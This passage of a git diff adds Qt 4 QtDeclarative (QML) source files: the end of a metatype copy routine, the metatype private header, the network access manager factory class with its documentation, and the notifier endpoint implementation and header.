+ case QMetaType::Void:
+ return true;
+
+
+#ifdef QT3_SUPPORT
+ case QMetaType::QColorGroup:
+ *static_cast<NS(QColorGroup) *>(data) = *static_cast<const NS(QColorGroup)*>(copy);
+ return true;
+#endif
+
+ case QMetaType::QFont:
+ *static_cast<NS(QFont) *>(data) = *static_cast<const NS(QFont)*>(copy);
+ return true;
+ case QMetaType::QPixmap:
+ *static_cast<NS(QPixmap) *>(data) = *static_cast<const NS(QPixmap)*>(copy);
+ return true;
+ case QMetaType::QBrush:
+ *static_cast<NS(QBrush) *>(data) = *static_cast<const NS(QBrush)*>(copy);
+ return true;
+ case QMetaType::QColor:
+ *static_cast<NS(QColor) *>(data) = *static_cast<const NS(QColor)*>(copy);
+ return true;
+ case QMetaType::QPalette:
+ *static_cast<NS(QPalette) *>(data) = *static_cast<const NS(QPalette)*>(copy);
+ return true;
+ case QMetaType::QIcon:
+ *static_cast<NS(QIcon) *>(data) = *static_cast<const NS(QIcon)*>(copy);
+ return true;
+ case QMetaType::QImage:
+ *static_cast<NS(QImage) *>(data) = *static_cast<const NS(QImage)*>(copy);
+ return true;
+ case QMetaType::QPolygon:
+ *static_cast<NS(QPolygon) *>(data) = *static_cast<const NS(QPolygon)*>(copy);
+ return true;
+ case QMetaType::QRegion:
+ *static_cast<NS(QRegion) *>(data) = *static_cast<const NS(QRegion)*>(copy);
+ return true;
+ case QMetaType::QBitmap:
+ *static_cast<NS(QBitmap) *>(data) = *static_cast<const NS(QBitmap)*>(copy);
+ return true;
+#ifndef QT_NO_CURSOR
+ case QMetaType::QCursor:
+ *static_cast<NS(QCursor) *>(data) = *static_cast<const NS(QCursor)*>(copy);
+ return true;
+#endif
+ case QMetaType::QSizePolicy:
+ *static_cast<NS(QSizePolicy) *>(data) = *static_cast<const NS(QSizePolicy)*>(copy);
+ return true;
+ case QMetaType::QKeySequence:
+ *static_cast<NS(QKeySequence) *>(data) = *static_cast<const NS(QKeySequence)*>(copy);
+ return true;
+ case QMetaType::QPen:
+ *static_cast<NS(QPen) *>(data) = *static_cast<const NS(QPen)*>(copy);
+ return true;
+ case QMetaType::QTextLength:
+ *static_cast<NS(QTextLength) *>(data) = *static_cast<const NS(QTextLength)*>(copy);
+ return true;
+ case QMetaType::QTextFormat:
+ *static_cast<NS(QTextFormat) *>(data) = *static_cast<const NS(QTextFormat)*>(copy);
+ return true;
+ case QMetaType::QMatrix:
+ *static_cast<NS(QMatrix) *>(data) = *static_cast<const NS(QMatrix)*>(copy);
+ return true;
+ case QMetaType::QTransform:
+ *static_cast<NS(QTransform) *>(data) = *static_cast<const NS(QTransform)*>(copy);
+ return true;
+ case QMetaType::QMatrix4x4:
+ *static_cast<NS(QMatrix4x4) *>(data) = *static_cast<const NS(QMatrix4x4)*>(copy);
+ return true;
+ case QMetaType::QVector2D:
+ *static_cast<NS(QVector2D) *>(data) = *static_cast<const NS(QVector2D)*>(copy);
+ return true;
+ case QMetaType::QVector4D:
+ *static_cast<NS(QVector4D) *>(data) = *static_cast<const NS(QVector4D)*>(copy);
+ return true;
+ case QMetaType::QQuaternion:
+ *static_cast<NS(QQuaternion) *>(data) = *static_cast<const NS(QQuaternion)*>(copy);
+ return true;
+
+ default:
+ if (type == qMetaTypeId<QVariant>()) {
+ *static_cast<NS(QVariant) *>(data) = *static_cast<const NS(QVariant)*>(copy);
+ return true;
+ } else if (type == qMetaTypeId<QScriptValue>()) {
+ *static_cast<NS(QScriptValue) *>(data) = *static_cast<const NS(QScriptValue)*>(copy);
+ return true;
+ } else if (typeCategory(type) != Unknown) {
+ *static_cast<void **>(data) = *static_cast<void* const *>(copy);
+ return true;
+ }
+ break;
+ }
+ } else {
+ switch(type) {
+ case QMetaType::VoidStar:
+ case QMetaType::QObjectStar:
+ case QMetaType::QWidgetStar:
+ *static_cast<void **>(data) = 0;
+ return true;
+ case QMetaType::Long:
+ *static_cast<long *>(data) = long(0);
+ return true;
+ case QMetaType::Int:
+ *static_cast<int *>(data) = int(0);
+ return true;
+ case QMetaType::Short:
+ *static_cast<short *>(data) = short(0);
+ return true;
+ case QMetaType::Char:
+ *static_cast<char *>(data) = char(0);
+ return true;
+ case QMetaType::ULong:
+ *static_cast<ulong *>(data) = ulong(0);
+ return true;
+ case QMetaType::UInt:
+ *static_cast<uint *>(data) = uint(0);
+ return true;
+ case QMetaType::LongLong:
+ *static_cast<qlonglong *>(data) = qlonglong(0);
+ return true;
+ case QMetaType::ULongLong:
+ *static_cast<qulonglong *>(data) = qulonglong(0);
+ return true;
+ case QMetaType::UShort:
+ *static_cast<ushort *>(data) = ushort(0);
+ return true;
+ case QMetaType::UChar:
+ *static_cast<uchar *>(data) = uchar(0);
+ return true;
+ case QMetaType::Bool:
+ *static_cast<bool *>(data) = bool(false);
+ return true;
+ case QMetaType::Float:
+ *static_cast<float *>(data) = float(0);
+ return true;
+ case QMetaType::Double:
+ *static_cast<double *>(data) = double(0);
+ return true;
+ case QMetaType::QChar:
+ *static_cast<NS(QChar) *>(data) = NS(QChar)();
+ return true;
+ case QMetaType::QVariantMap:
+ *static_cast<NS(QVariantMap) *>(data) = NS(QVariantMap)();
+ return true;
+ case QMetaType::QVariantHash:
+ *static_cast<NS(QVariantHash) *>(data) = NS(QVariantHash)();
+ return true;
+ case QMetaType::QVariantList:
+ *static_cast<NS(QVariantList) *>(data) = NS(QVariantList)();
+ return true;
+ case QMetaType::QByteArray:
+ *static_cast<NS(QByteArray) *>(data) = NS(QByteArray)();
+ return true;
+ case QMetaType::QString:
+ *static_cast<NS(QString) *>(data) = NS(QString)();
+ return true;
+ case QMetaType::QStringList:
+ *static_cast<NS(QStringList) *>(data) = NS(QStringList)();
+ return true;
+ case QMetaType::QBitArray:
+ *static_cast<NS(QBitArray) *>(data) = NS(QBitArray)();
+ return true;
+ case QMetaType::QDate:
+ *static_cast<NS(QDate) *>(data) = NS(QDate)();
+ return true;
+ case QMetaType::QTime:
+ *static_cast<NS(QTime) *>(data) = NS(QTime)();
+ return true;
+ case QMetaType::QDateTime:
+ *static_cast<NS(QDateTime) *>(data) = NS(QDateTime)();
+ return true;
+ case QMetaType::QUrl:
+ *static_cast<NS(QUrl) *>(data) = NS(QUrl)();
+ return true;
+ case QMetaType::QLocale:
+ *static_cast<NS(QLocale) *>(data) = NS(QLocale)();
+ return true;
+ case QMetaType::QRect:
+ *static_cast<NS(QRect) *>(data) = NS(QRect)();
+ return true;
+ case QMetaType::QRectF:
+ *static_cast<NS(QRectF) *>(data) = NS(QRectF)();
+ return true;
+ case QMetaType::QSize:
+ *static_cast<NS(QSize) *>(data) = NS(QSize)();
+ return true;
+ case QMetaType::QSizeF:
+ *static_cast<NS(QSizeF) *>(data) = NS(QSizeF)();
+ return true;
+ case QMetaType::QLine:
+ *static_cast<NS(QLine) *>(data) = NS(QLine)();
+ return true;
+ case QMetaType::QLineF:
+ *static_cast<NS(QLineF) *>(data) = NS(QLineF)();
+ return true;
+ case QMetaType::QPoint:
+ *static_cast<NS(QPoint) *>(data) = NS(QPoint)();
+ return true;
+ case QMetaType::QPointF:
+ *static_cast<NS(QPointF) *>(data) = NS(QPointF)();
+ return true;
+ case QMetaType::QVector3D:
+ *static_cast<NS(QVector3D) *>(data) = NS(QVector3D)();
+ return true;
+#ifndef QT_NO_REGEXP
+ case QMetaType::QRegExp:
+ *static_cast<NS(QRegExp) *>(data) = NS(QRegExp)();
+ return true;
+#endif
+ case QMetaType::Void:
+ return true;
+
+#ifdef QT3_SUPPORT
+ case QMetaType::QColorGroup:
+ *static_cast<NS(QColorGroup) *>(data) = NS(QColorGroup)();
+ return true;
+#endif
+
+ case QMetaType::QFont:
+ *static_cast<NS(QFont) *>(data) = NS(QFont)();
+ return true;
+ case QMetaType::QPixmap:
+ *static_cast<NS(QPixmap) *>(data) = NS(QPixmap)();
+ return true;
+ case QMetaType::QBrush:
+ *static_cast<NS(QBrush) *>(data) = NS(QBrush)();
+ return true;
+ case QMetaType::QColor:
+ *static_cast<NS(QColor) *>(data) = NS(QColor)();
+ return true;
+ case QMetaType::QPalette:
+ *static_cast<NS(QPalette) *>(data) = NS(QPalette)();
+ return true;
+ case QMetaType::QIcon:
+ *static_cast<NS(QIcon) *>(data) = NS(QIcon)();
+ return true;
+ case QMetaType::QImage:
+ *static_cast<NS(QImage) *>(data) = NS(QImage)();
+ return true;
+ case QMetaType::QPolygon:
+ *static_cast<NS(QPolygon) *>(data) = NS(QPolygon)();
+ return true;
+ case QMetaType::QRegion:
+ *static_cast<NS(QRegion) *>(data) = NS(QRegion)();
+ return true;
+ case QMetaType::QBitmap:
+ *static_cast<NS(QBitmap) *>(data) = NS(QBitmap)();
+ return true;
+#ifndef QT_NO_CURSOR
+ case QMetaType::QCursor:
+ *static_cast<NS(QCursor) *>(data) = NS(QCursor)();
+ return true;
+#endif
+ case QMetaType::QSizePolicy:
+ *static_cast<NS(QSizePolicy) *>(data) = NS(QSizePolicy)();
+ return true;
+ case QMetaType::QKeySequence:
+ *static_cast<NS(QKeySequence) *>(data) = NS(QKeySequence)();
+ return true;
+ case QMetaType::QPen:
+ *static_cast<NS(QPen) *>(data) = NS(QPen)();
+ return true;
+ case QMetaType::QTextLength:
+ *static_cast<NS(QTextLength) *>(data) = NS(QTextLength)();
+ return true;
+ case QMetaType::QTextFormat:
+ *static_cast<NS(QTextFormat) *>(data) = NS(QTextFormat)();
+ return true;
+ case QMetaType::QMatrix:
+ *static_cast<NS(QMatrix) *>(data) = NS(QMatrix)();
+ return true;
+ case QMetaType::QTransform:
+ *static_cast<NS(QTransform) *>(data) = NS(QTransform)();
+ return true;
+ case QMetaType::QMatrix4x4:
+ *static_cast<NS(QMatrix4x4) *>(data) = NS(QMatrix4x4)();
+ return true;
+ case QMetaType::QVector2D:
+ *static_cast<NS(QVector2D) *>(data) = NS(QVector2D)();
+ return true;
+ case QMetaType::QVector4D:
+ *static_cast<NS(QVector4D) *>(data) = NS(QVector4D)();
+ return true;
+ case QMetaType::QQuaternion:
+ *static_cast<NS(QQuaternion) *>(data) = NS(QQuaternion)();
+ return true;
+ default:
+ if (type == qMetaTypeId<QVariant>()) {
+ *static_cast<NS(QVariant) *>(data) = NS(QVariant)();
+ return true;
+ } else if (type == qMetaTypeId<QScriptValue>()) {
+ *static_cast<NS(QScriptValue) *>(data) = NS(QScriptValue)();
+ return true;
+ } else if (typeCategory(type) != Unknown) {
+ *static_cast<void **>(data) = 0;
+ return true;
+ }
+ break;
+ }
+ }
+
+ return false;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h
new file mode 100644
index 00000000..8af72737
--- /dev/null
+++ b/src/declarative/qml/qdeclarativemetatype_p.h
@@ -0,0 +1,174 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEMETATYPE_P_H
+#define QDECLARATIVEMETATYPE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+
+#include <QtCore/qglobal.h>
+#include <QtCore/qvariant.h>
+#include <QtCore/qbitarray.h>
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeType;
+class QDeclarativeCustomParser;
+class QDeclarativeTypePrivate;
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeMetaType
+{
+public:
+ static bool canCopy(int type);
+ static bool copy(int type, void *data, const void *copy = 0);
+
+ static QList<QByteArray> qmlTypeNames();
+ static QList<QDeclarativeType*> qmlTypes();
+
+ static QDeclarativeType *qmlType(const QByteArray &, int, int);
+ static QDeclarativeType *qmlType(const QMetaObject *);
+ static QDeclarativeType *qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor);
+ static QDeclarativeType *qmlType(int);
+
+ static QMetaProperty defaultProperty(const QMetaObject *);
+ static QMetaProperty defaultProperty(QObject *);
+ static QMetaMethod defaultMethod(const QMetaObject *);
+ static QMetaMethod defaultMethod(QObject *);
+
+ static bool isQObject(int);
+ static QObject *toQObject(const QVariant &, bool *ok = 0);
+
+ static int listType(int);
+ static int attachedPropertiesFuncId(const QMetaObject *);
+ static QDeclarativeAttachedPropertiesFunc attachedPropertiesFuncById(int);
+
+ enum TypeCategory { Unknown, Object, List };
+ static TypeCategory typeCategory(int);
+
+ static bool isInterface(int);
+ static const char *interfaceIId(int);
+ static bool isList(int);
+
+ typedef QVariant (*StringConverter)(const QString &);
+ static void registerCustomStringConverter(int, StringConverter);
+ static StringConverter customStringConverter(int);
+
+ static bool isModule(const QByteArray &module, int versionMajor, int versionMinor);
+
+ static QList<QDeclarativePrivate::AutoParentFunction> parentFunctions();
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeType
+{
+public:
+ QByteArray typeName() const;
+ QByteArray qmlTypeName() const;
+
+ QByteArray module() const;
+ int majorVersion() const;
+ int minorVersion() const;
+
+ bool availableInVersion(int vmajor, int vminor) const;
+ bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const;
+
+ QObject *create() const;
+ void create(QObject **, void **, size_t) const;
+
+ typedef void (*CreateFunc)(void *);
+ CreateFunc createFunction() const;
+ int createSize() const;
+
+ QDeclarativeCustomParser *customParser() const;
+
+ bool isCreatable() const;
+ bool isExtendedType() const;
+ QString noCreationReason() const;
+
+ bool isInterface() const;
+ int typeId() const;
+ int qListTypeId() const;
+
+ const QMetaObject *metaObject() const;
+ const QMetaObject *baseMetaObject() const;
+ int metaObjectRevision() const;
+ bool containsRevisionedAttributes() const;
+
+ QDeclarativeAttachedPropertiesFunc attachedPropertiesFunction() const;
+ const QMetaObject *attachedPropertiesType() const;
+ int attachedPropertiesId() const;
+
+ int parserStatusCast() const;
+ QVariant fromObject(QObject *) const;
+ const char *interfaceIId() const;
+ int propertyValueSourceCast() const;
+ int propertyValueInterceptorCast() const;
+
+ int index() const;
+
+private:
+ QDeclarativeType *superType() const;
+ friend class QDeclarativeTypePrivate;
+ friend struct QDeclarativeMetaTypeData;
+ friend int registerType(const QDeclarativePrivate::RegisterType &);
+ friend int registerInterface(const QDeclarativePrivate::RegisterInterface &);
+ QDeclarativeType(int, const QDeclarativePrivate::RegisterInterface &);
+ QDeclarativeType(int, const QDeclarativePrivate::RegisterType &);
+ ~QDeclarativeType();
+
+ QDeclarativeTypePrivate *d;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEMETATYPE_P_H
+
diff --git a/src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.cpp b/src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.cpp
new file mode 100644
index 00000000..fd08badd
--- /dev/null
+++ b/src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.cpp
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativenetworkaccessmanagerfactory.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QDeclarativeNetworkAccessManagerFactory
+ \since 4.7
+ \brief The QDeclarativeNetworkAccessManagerFactory class creates QNetworkAccessManager instances for a QML engine.
+
+ A QML engine uses QNetworkAccessManager for all network access.
+ By implementing a factory, it is possible to provide the QML engine
+ with custom QNetworkAccessManager instances with specialized caching,
+ proxy and cookies support.
+
+ To implement a factory, subclass QDeclarativeNetworkAccessManagerFactory and
+ implement the virtual create() method, then assign it to the relevant QML
+ engine using QDeclarativeEngine::setNetworkAccessManagerFactory().
+
+ Note the QML engine may create QNetworkAccessManager instances
+ from multiple threads. Because of this, the implementation of the create()
+ method must be \l{Reentrancy and Thread-Safety}{reentrant}. In addition,
+ the developer should be careful if the signals of the object to be
+ returned from create() are connected to the slots of an object that may
+ be created in a different thread:
+
+ \list
+ \o The QML engine internally handles all requests, and cleans up any
+ QNetworkReply objects it creates. Receiving the
+ QNetworkAccessManager::finished() signal in another thread may not
+ provide the receiver with a valid reply object if it has already
+ been deleted.
+ \o Authentication details provided to QNetworkAccessManager::authenticationRequired()
+ must be provided immediately, so this signal cannot be connected as a
+ Qt::QueuedConnection (or as the default Qt::AutoConnection from another
+ thread).
+ \endlist
+
+ For more information about signals and threads, see
+ \l {Threads and QObjects} and \l {Signals and Slots Across Threads}.
+
+ \sa {declarative/cppextensions/networkaccessmanagerfactory}{NetworkAccessManagerFactory example}
+*/
+
+/*!
+ Destroys the factory. The default implementation does nothing.
+ */
+QDeclarativeNetworkAccessManagerFactory::~QDeclarativeNetworkAccessManagerFactory()
+{
+}
+
+/*!
+ \fn QNetworkAccessManager *QDeclarativeNetworkAccessManagerFactory::create(QObject *parent)
+
+ Creates and returns a network access manager with the specified \a parent.
+ This method must return a new QNetworkAccessManager instance each time
+ it is called.
+
+ Note: this method may be called by multiple threads, so ensure the
+ implementation of this method is reentrant.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.h b/src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.h
new file mode 100644
index 00000000..c55f8e30
--- /dev/null
+++ b/src/declarative/qml/qdeclarativenetworkaccessmanagerfactory.h
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVENETWORKACCESSMANAGERFACTORY_H
+#define QDECLARATIVENETWORKACCESSMANAGERFACTORY_H
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QNetworkAccessManager;
+class Q_DECLARATIVE_EXPORT QDeclarativeNetworkAccessManagerFactory
+{
+public:
+ virtual ~QDeclarativeNetworkAccessManagerFactory();
+ virtual QNetworkAccessManager *create(QObject *parent) = 0;
+
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVENETWORKACCESSMANAGERFACTORY_H
diff --git a/src/declarative/qml/qdeclarativenotifier.cpp b/src/declarative/qml/qdeclarativenotifier.cpp
new file mode 100644
index 00000000..64731dee
--- /dev/null
+++ b/src/declarative/qml/qdeclarativenotifier.cpp
@@ -0,0 +1,126 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativenotifier_p.h"
+#include "private/qdeclarativeproperty_p.h"
+
+QT_BEGIN_NAMESPACE
+
+void QDeclarativeNotifier::emitNotify(QDeclarativeNotifierEndpoint *endpoint)
+{
+ QDeclarativeNotifierEndpoint::Notifier *n = endpoint->asNotifier();
+
+ QDeclarativeNotifierEndpoint **oldDisconnected = n->disconnected;
+ n->disconnected = &endpoint;
+
+ if (n->next)
+ emitNotify(n->next);
+
+ if (endpoint) {
+ void *args[] = { 0 };
+
+ QMetaObject::metacall(endpoint->target, QMetaObject::InvokeMetaMethod,
+ endpoint->targetMethod, args);
+
+ if (endpoint)
+ endpoint->asNotifier()->disconnected = oldDisconnected;
+ }
+
+ if (oldDisconnected) *oldDisconnected = endpoint;
+}
+
+void QDeclarativeNotifierEndpoint::connect(QObject *source, int sourceSignal)
+{
+ Signal *s = toSignal();
+
+ if (s->source == source && s->sourceSignal == sourceSignal)
+ return;
+
+ disconnect();
+
+ QDeclarativePropertyPrivate::connect(source, sourceSignal, target, targetMethod);
+
+ s->source = source;
+ s->sourceSignal = sourceSignal;
+}
+
+void QDeclarativeNotifierEndpoint::copyAndClear(QDeclarativeNotifierEndpoint &other)
+{
+ other.disconnect();
+
+ other.target = target;
+ other.targetMethod = targetMethod;
+
+ if (!isConnected())
+ return;
+
+ if (SignalType == type) {
+ Signal *other_s = other.toSignal();
+ Signal *s = asSignal();
+
+ other_s->source = s->source;
+ other_s->sourceSignal = s->sourceSignal;
+ s->source = 0;
+ } else if(NotifierType == type) {
+ Notifier *other_n = other.toNotifier();
+ Notifier *n = asNotifier();
+
+ other_n->notifier = n->notifier;
+ other_n->disconnected = n->disconnected;
+ if (other_n->disconnected) *other_n->disconnected = &other;
+
+ if (n->next) {
+ other_n->next = n->next;
+ n->next->asNotifier()->prev = &other_n->next;
+ }
+ other_n->prev = n->prev;
+ *other_n->prev = &other;
+
+ n->prev = 0;
+ n->next = 0;
+ n->disconnected = 0;
+ n->notifier = 0;
+ }
+}
+
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativenotifier_p.h b/src/declarative/qml/qdeclarativenotifier_p.h
new file mode 100644
index 00000000..433022f8
--- /dev/null
+++ b/src/declarative/qml/qdeclarativenotifier_p.h
@@ -0,0 +1,268 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVENOTIFIER_P_H
+#define QDECLARATIVENOTIFIER_P_H
+
+#include "private/qdeclarativeguard_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeNotifierEndpoint;
+class QDeclarativeNotifier
+{
+public:
+ inline QDeclarativeNotifier();
+ inline ~QDeclarativeNotifier();
+ inline void notify();
+
+private:
+ friend class QDeclarativeNotifierEndpoint;
+
+ static void emitNotify(QDeclarativeNotifierEndpoint *);
+ QDeclarativeNotifierEndpoint *endpoints;
+};
+
+class QDeclarativeNotifierEndpoint
+{
+public:
+ inline QDeclarativeNotifierEndpoint();
+ inline QDeclarativeNotifierEndpoint(QObject *t, int m);
+ inline ~QDeclarativeNotifierEndpoint();
+
+ QObject *target;
+ int targetMethod;
+
+ inline bool isConnected();
+ inline bool isConnected(QObject *source, int sourceSignal);
+ inline bool isConnected(QDeclarativeNotifier *);
+
+ void connect(QObject *source, int sourceSignal);
+ inline void connect(QDeclarativeNotifier *);
+ inline void disconnect();
+
+ void copyAndClear(QDeclarativeNotifierEndpoint &other);
+
+private:
+ friend class QDeclarativeNotifier;
+
+ struct Signal {
+ QDeclarativeGuard<QObject> source;
+ int sourceSignal;
+ };
+
+ struct Notifier {
+ QDeclarativeNotifier *notifier;
+ QDeclarativeNotifierEndpoint **disconnected;
+
+ QDeclarativeNotifierEndpoint *next;
+ QDeclarativeNotifierEndpoint **prev;
+ };
+
+ enum { InvalidType, SignalType, NotifierType } type;
+ union {
+ struct {
+ Signal *signal;
+ union {
+ char signalData[sizeof(Signal)];
+ qint64 q_for_alignment_1;
+ double q_for_alignment_2;
+ };
+ } signal;
+ Notifier notifier;
+ };
+
+ inline Notifier *toNotifier();
+ inline Notifier *asNotifier();
+ inline Signal *toSignal();
+ inline Signal *asSignal();
+};
+
+QDeclarativeNotifier::QDeclarativeNotifier()
+: endpoints(0)
+{
+}
+
+QDeclarativeNotifier::~QDeclarativeNotifier()
+{
+ QDeclarativeNotifierEndpoint *endpoint = endpoints;
+ while (endpoint) {
+ QDeclarativeNotifierEndpoint::Notifier *n = endpoint->asNotifier();
+ endpoint = n->next;
+
+ n->next = 0;
+ n->prev = 0;
+ n->notifier = 0;
+ if (n->disconnected) *n->disconnected = 0;
+ n->disconnected = 0;
+ }
+ endpoints = 0;
+}
+
+void QDeclarativeNotifier::notify()
+{
+ if (endpoints) emitNotify(endpoints);
+}
+
+QDeclarativeNotifierEndpoint::QDeclarativeNotifierEndpoint()
+: target(0), targetMethod(0), type(InvalidType)
+{
+}
+
+QDeclarativeNotifierEndpoint::QDeclarativeNotifierEndpoint(QObject *t, int m)
+: target(t), targetMethod(m), type(InvalidType)
+{
+}
+
+QDeclarativeNotifierEndpoint::~QDeclarativeNotifierEndpoint()
+{
+ disconnect();
+ if (SignalType == type) {
+ Signal *s = asSignal();
